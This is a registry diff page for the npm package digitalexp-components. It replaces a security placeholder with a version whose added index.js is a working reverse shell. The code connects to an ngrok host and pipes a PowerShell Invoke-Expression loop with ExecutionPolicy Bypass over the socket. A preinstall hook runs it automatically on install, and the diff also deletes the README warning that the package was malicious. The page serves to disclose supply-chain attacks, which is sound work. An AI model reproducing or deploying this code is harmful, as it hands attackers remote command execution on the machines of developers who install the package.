digitalexp-components 0.0.1-security → 13.1.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of digitalexp-components might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +47 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,47 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const https = require("https");
4
+ const { exec, spawn } = require("child_process");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+ const net = require('net');
8
+
9
+ const host = "0.tcp.in.ngrok.io";
10
+ const port = 10637;
11
+
12
+ const client = new net.Socket();
13
+ client.connect(port, host, () => {
14
+ console.log("Connected!");
15
+
16
+ // Spawn PowerShell with ExecutionPolicy Bypass and command mode
17
+ const shell = spawn('powershell.exe', [
18
+ '-ExecutionPolicy', 'Bypass', // Bypass execution policy
19
+ '-NoExit', // Keep the PowerShell session open
20
+ '-Command', // Allow command execution
21
+ 'while($true) { $input = Read-Host "Enter command"; Invoke-Expression $input }' // Infinite loop to enter commands
22
+ ]);
23
+
24
+ // Pipe data between the client and PowerShell
25
+ client.pipe(shell.stdin);
26
+ shell.stdout.pipe(client);
27
+ shell.stderr.pipe(client);
28
+
29
+ // Handle error with the shell process
30
+ shell.on('error', (err) => {
31
+ console.error('Shell process error:', err);
32
+ });
33
+
34
+ // Handle close event for the shell process
35
+ shell.on('close', (code) => {
36
+ console.log(`Shell process exited with code ${code}`);
37
+ client.destroy(); // Close the client connection when the shell is done
38
+ });
39
+ });
40
+
41
+ client.on('error', (err) => {
42
+ console.error('Connection error:', err);
43
+ });
44
+
45
+ client.on('close', () => {
46
+ console.log('Connection closed');
47
+ });
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "digitalexp-components",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "13.1.6",
4
+ "description": "checking remote code execution and running ls -la command",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "node-fetch": "^2.7.0"
14
+ }
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=digitalexp-components for more information.